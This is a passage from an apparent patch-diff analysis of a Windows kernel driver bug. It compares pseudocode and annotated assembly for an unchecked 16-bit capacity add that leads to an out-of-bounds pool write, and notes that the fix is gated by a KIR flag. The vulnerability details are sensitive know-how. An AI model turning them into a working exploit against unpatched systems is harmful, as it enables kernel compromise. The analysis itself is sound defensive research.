&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UxKirRefBufferOverflowCheck&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// NEW KIR-gated safe path&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RtlUShortAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NEW overflow-checked add&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail_request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// NEW bail-out on wrap&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// uses VALIDATED capacity&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTagPriority&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail_request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cap&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// safe, validated&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                           &lt;/span&gt;&lt;span class="c1"&gt;// KIR flag off: original unchecked path&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTagPriority&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// still wraps 16-bit!&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x632&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key takeaways:&lt;/strong&gt;
- The dangerous line in the unpatched version is the unguarded &lt;code&gt;capacity + 5&lt;/code&gt;.
- The checked path never trusts the addition result until &lt;code&gt;RtlUShortAdd (sub_1c001c6e4)&lt;/code&gt; returns success, and it uses the validated value for allocation size, stored capacity, and entry write.
- The patched build keeps the original unchecked &lt;code&gt;add cx, 5&lt;/code&gt; path as the fallback taken when &lt;code&gt;UxKirRefBufferOverflowCheck (data_1c0078d80)&lt;/code&gt; is disabled, so the fix depends on that KIR flag being enabled.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;UNPATCHED — vulnerable allocation block&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; --- read the two 16-bit fields ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e82f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x632&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; eax = count&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e836&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; ecx = capacity&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e83d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e840&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000e8cd&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; if count &amp;lt; capacity, skip growth&lt;/span&gt;
&lt;span class="w"&gt;                                                  &lt;/span&gt;&lt;span class="c1"&gt;; (this is the ONLY size check)&lt;/span&gt;

&lt;span class="c1"&gt;; --- compute new allocation size using CURRENT capacity ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e846&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; rdx = capacity*8 + 0x28   &amp;lt;-- trusted blindly&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e85c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0086c50&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; ExAllocatePoolWithTagPriority&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e86b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e86e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c000e8e9&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; alloc failed -&amp;gt; bail&lt;/span&gt;

&lt;span class="c1"&gt;; --- (copy old data via memmove, free old buffer) ---&lt;/span&gt;
&lt;span class="c1"&gt;; ... (omitted for clarity) ...&lt;/span&gt;

&lt;span class="c1"&gt;; --- BUG: capacity update is a 16-bit add with no overflow detection ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8ad&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; reload capacity&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8bb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; 16-bit add; wraps if cx &amp;gt;= 0xFFFB&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8bf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; store wrapped capacity, no check&lt;/span&gt;

&lt;span class="c1"&gt;; --- entry write: count is the index, capacity is no longer related ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; ecx = count (was set above, still large)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8d0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x638&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; rax = current buffer pointer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8d7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE ***&lt;/span&gt;
&lt;span class="w"&gt;                                                  &lt;/span&gt;&lt;span class="c1"&gt;; rsi = entry pointer, rcx*8 = index&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1c000e8db&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x632&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; count++&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Annotations:
